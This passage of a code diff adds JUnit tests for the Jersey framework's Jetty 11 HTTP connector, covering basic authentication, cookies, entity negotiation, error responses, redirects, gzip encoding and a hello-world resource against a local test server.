private static final String PATH = "test"; + + @Path("/test") + @Singleton + public static class AuthResource { + + int requestCount = 0; + + @GET + public String get(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return "GET"; + } + + @GET + @Path("filter") + public String getFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return "GET"; + } + + @POST + public String post(@Context HttpHeaders h, String e) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return e; + } + + @POST + @Path("filter") + public String postFilter(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + + @DELETE + public void delete(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + } + + @DELETE + @Path("filter") + public void deleteFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + } + + @DELETE + @Path("filter/withEntity") + public String deleteFilterWithEntity(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(AuthResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Test + public void testAuthGet() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().get(); + assertEquals("GET", response.readEntity(String.class)); + client.close(); + } + + @Test + public void testAuthPost() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST")); + assertEquals("POST", response.readEntity(String.class)); + client.close(); + } + + @Test + public void testAuthDelete() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().delete(); + assertEquals(response.getStatus(), 204); + client.close(); + } + +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java new file mode 100644 index 0000000..7534d3d --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
@@ -0,0 +1,121 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.Cookie; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.NewCookie; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.JerseyClient; +import org.glassfish.jersey.client.JerseyClientBuilder; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class CookieTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName()); + + @Path("/") + public static class CookieResource { + @GET + public Response get(@Context HttpHeaders h) { + Cookie c = h.getCookies().get("name"); + String e = (c == null) ? "NO-COOKIE" : c.getValue(); + return Response.ok(e) + .cookie(new NewCookie("name", "value")).build(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(CookieResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Test + public void testCookieResource() { + ClientConfig config = new ClientConfig(); + config.connectorProvider(new JettyConnectorProvider()); + Client client = ClientBuilder.newClient(config); + WebTarget r = client.target(getBaseUri()); + + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + client.close(); + } + + @Test + public void testDisabledCookies() { + ClientConfig cc = new ClientConfig(); + cc.property(JettyClientProperties.DISABLE_COOKIES, true); + cc.connectorProvider(new JettyConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("NO-COOKIE", r.request().get(String.class)); + + final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector(); + if (connector.getCookieStore() != null) { + assertTrue(connector.getCookieStore().getCookies().isEmpty()); + } else { + assertNull(connector.getCookieStore()); + } + client.close(); + } + + @Test + public void testCookies() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new JettyConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + + final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector(); + assertNotNull(connector.getCookieStore().getCookies()); + assertEquals(1, connector.getCookieStore().getCookies().size()); + assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue()); + client.close(); + } +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java new file mode 100644 index 0000000..48f51a1 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java
@@ -0,0 +1,70 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.io.IOException; + +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.client.ClientResponseFilter; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.ContainerResponseContext; +import jakarta.ws.rs.container.ContainerResponseFilter; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Custom logging filter. + * + * @author Santiago Pericas-Geertsen (santiago.pericasgeertsen at oracle.com) + */ +public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter, + ClientRequestFilter, ClientResponseFilter { + + static int preFilterCalled = 0; + static int postFilterCalled = 0; + + @Override + public void filter(ClientRequestContext context) throws IOException { + System.out.println("CustomLoggingFilter.preFilter called"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); + preFilterCalled++; + } + + @Override + public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException { + System.out.println("CustomLoggingFilter.postFilter called"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); + postFilterCalled++; + } + + @Override + public void filter(ContainerRequestContext context) throws IOException { + System.out.println("CustomLoggingFilter.preFilter called"); + assertEquals("bar", context.getProperty("foo")); + preFilterCalled++; + } + + @Override + public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException { + System.out.println("CustomLoggingFilter.postFilter called"); + assertEquals("bar", context.getProperty("foo")); + postFilterCalled++; + } +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java new file mode 100644 index 0000000..22f50d3 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java
@@ -0,0 +1,158 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +import jakarta.xml.bind.annotation.XmlRootElement; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +// import org.glassfish.jersey.jackson.JacksonFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Tests the Http content negotiation. + * + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class EntityTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName()); + + private static final String PATH = "test"; + + @Path("/test") + public static class EntityResource { + + @GET + public Person get() { + return new Person("John", "Doe"); + } + + @POST + public Person post(Person entity) { + return entity; + } + + } + + @XmlRootElement + public static class Person { + + private String firstName; + private String lastName; + + public Person() { + } + + public Person(String firstName, String lastName) { + this.firstName = firstName; + this.lastName = lastName; + } + + public String getFirstName() { + return firstName; + } + + public void setFirstName(String firstName) { + this.firstName = firstName; + } + + public String getLastName() { + return lastName; + } + + public void setLastName(String lastName) { + this.lastName = lastName; + } + + @Override + public String toString() { + return firstName + " " + lastName; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(EntityResource.class/*, JacksonFeature.class*/); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + //.register(/*JacksonFeature.class*/); + } + + @Test + public void testGet() { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testGetAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testPost() { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe"))); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe"))); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async() + .post(Entity.xml(new Person("John", "Doe"))).get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe"))) + .get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java new file mode 100644 index 0000000..a85cbc5 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java
@@ -0,0 +1,124 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.logging.Logger; + +import jakarta.ws.rs.ClientErrorException; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class ErrorTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName()); + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(ErrorResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + + @Path("/test") + public static class ErrorResource { + @POST + public Response post(String entity) { + return Response.serverError().build(); + } + + @Path("entity") + @POST + public Response postWithEntity(String entity) { + return Response.serverError().entity("error").build(); + } + } + + @Test + public void testPostError() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + } + } + } + + @Test + public void testPostErrorWithEntity() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + String s = ex.getResponse().readEntity(String.class); + assertEquals("error", s); + } + } + } + + @Test + public void testPostErrorAsync() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().async().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + } + } + } + + @Test + public void testPostErrorWithEntityAsync() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().async().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + String s = ex.getResponse().readEntity(String.class); + assertEquals("error", s); + } + } + } +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java new file mode 100644 index 0000000..d1a91cd --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java
@@ -0,0 +1,142 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.io.IOException; +import java.net.URI; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.client.ClientResponseFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientResponse; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Jetty connector follow redirect tests. + * + * @author Martin Matula + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Marek Potociar + */ +public class FollowRedirectsTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName()); + + @Path("/test") + public static class RedirectResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("redirect") + public Response redirect() { + return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(RedirectResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.property(ClientProperties.FOLLOW_REDIRECTS, false); + config.connectorProvider(new JettyConnectorProvider()); + } + + private static class RedirectTestFilter implements ClientResponseFilter { + public static final String RESOLVED_URI_HEADER = "resolved-uri"; + + @Override + public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException { + if (responseContext instanceof ClientResponse) { + ClientResponse clientResponse = (ClientResponse) responseContext; + responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString()); + } + } + } + + @Test + public void testDoFollow() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true); + config.connectorProvider(new JettyConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + Response r = t.path("test/redirect") + .register(RedirectTestFilter.class) + .request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); +// TODO uncomment as part of JERSEY-2388 fix. +// assertEquals( +// UriBuilder.fromUri(getBaseUri()).path(RedirectResource.class).build().toString(), +// r.getHeaderString(RedirectTestFilter.RESOLVED_URI_HEADER)); + + c.close(); + } + + @Test + public void testDoFollowPerRequestOverride() { + WebTarget t = target("test/redirect"); + t.property(ClientProperties.FOLLOW_REDIRECTS, true); + Response r = t.request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testDontFollow() { + WebTarget t = target("test/redirect"); + assertEquals(303, t.request().get().getStatus()); + } + + @Test + public void testDontFollowPerRequestOverride() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true); + config.connectorProvider(new JettyConnectorProvider()); + Client client = ClientBuilder.newClient(config); + WebTarget t = client.target(u); + t.property(ClientProperties.FOLLOW_REDIRECTS, false); + Response r = t.path("test/redirect").request().get(); + assertEquals(303, r.getStatus()); + client.close(); + } +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java new file mode 100644 index 0000000..727c389 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java
@@ -0,0 +1,105 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.Arrays; +import java.util.logging.Logger; + +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.message.GZipEncoder; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class GZIPContentEncodingTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName()); + + @Path("/") + public static class Resource { + + @POST + public byte[] post(byte[] content) { + return content; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(Resource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(GZipEncoder.class); + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testPost() { + WebTarget r = target(); + byte[] content = new byte[1024 * 1024]; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testPostChunked() { + ClientConfig config = new ClientConfig(); + config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024); + config.connectorProvider(new JettyConnectorProvider()); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + + Client client = ClientBuilder.newClient(config); + WebTarget r = client.target(getBaseUri()); + + byte[] content = new byte[1024 * 1024]; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.text("POST")); + assertTrue(cr.hasEntity()); + cr.close(); + + client.close(); + } + +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java new file mode 100644 index 0000000..4e9f09e --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java
@@ -0,0 +1,225 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.InvocationCallback; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * + * @author Jakub Podlesak + */ +public class HelloWorldTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName()); + private static final String ROOT_PATH = "helloworld"; + + @Path("helloworld") + public static class HelloWorldResource { + public static final String CLICHED_MESSAGE = "Hello World!"; + + @GET + @Produces("text/plain") + public String getHello() { + return CLICHED_MESSAGE; + } + + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HelloWorldResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testConnection() { + Response response = target().path(ROOT_PATH).request("text/plain").get(); + assertEquals(200, response.getStatus()); + } + + @Test + public void testClientStringResponse() { + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + } + + @Test + public void testAsyncClientRequests() throws InterruptedException { + final int REQUESTS = 20; + final CountDownLatch latch = new CountDownLatch(REQUESTS); + final long tic = System.currentTimeMillis(); + for (int i = 0; i < REQUESTS; i++) { + final int id = i; + target().path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() { + @Override + public void completed(Response response) { + try { + final String result = response.readEntity(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, result); + } finally { + latch.countDown(); + } + } + + @Override + public void failed(Throwable error) { + error.printStackTrace(); + latch.countDown(); + } + }); + } + latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS); + final long toc = System.currentTimeMillis(); + Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic)); + } + + @Test + public void testHead() { + Response response = target().path(ROOT_PATH).request().head(); + assertEquals(200, response.getStatus()); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + } + + @Test + public void testFooBarOptions() { + Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals("foo/bar", response.getMediaType().toString()); + assertEquals(0, response.getLength()); + } + + @Test + public void testTextPlainOptions() { + Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + final String responseBody = response.readEntity(String.class); + _checkAllowContent(responseBody); + } + + private void _checkAllowContent(final String content) { + assertTrue(content.contains("GET")); + 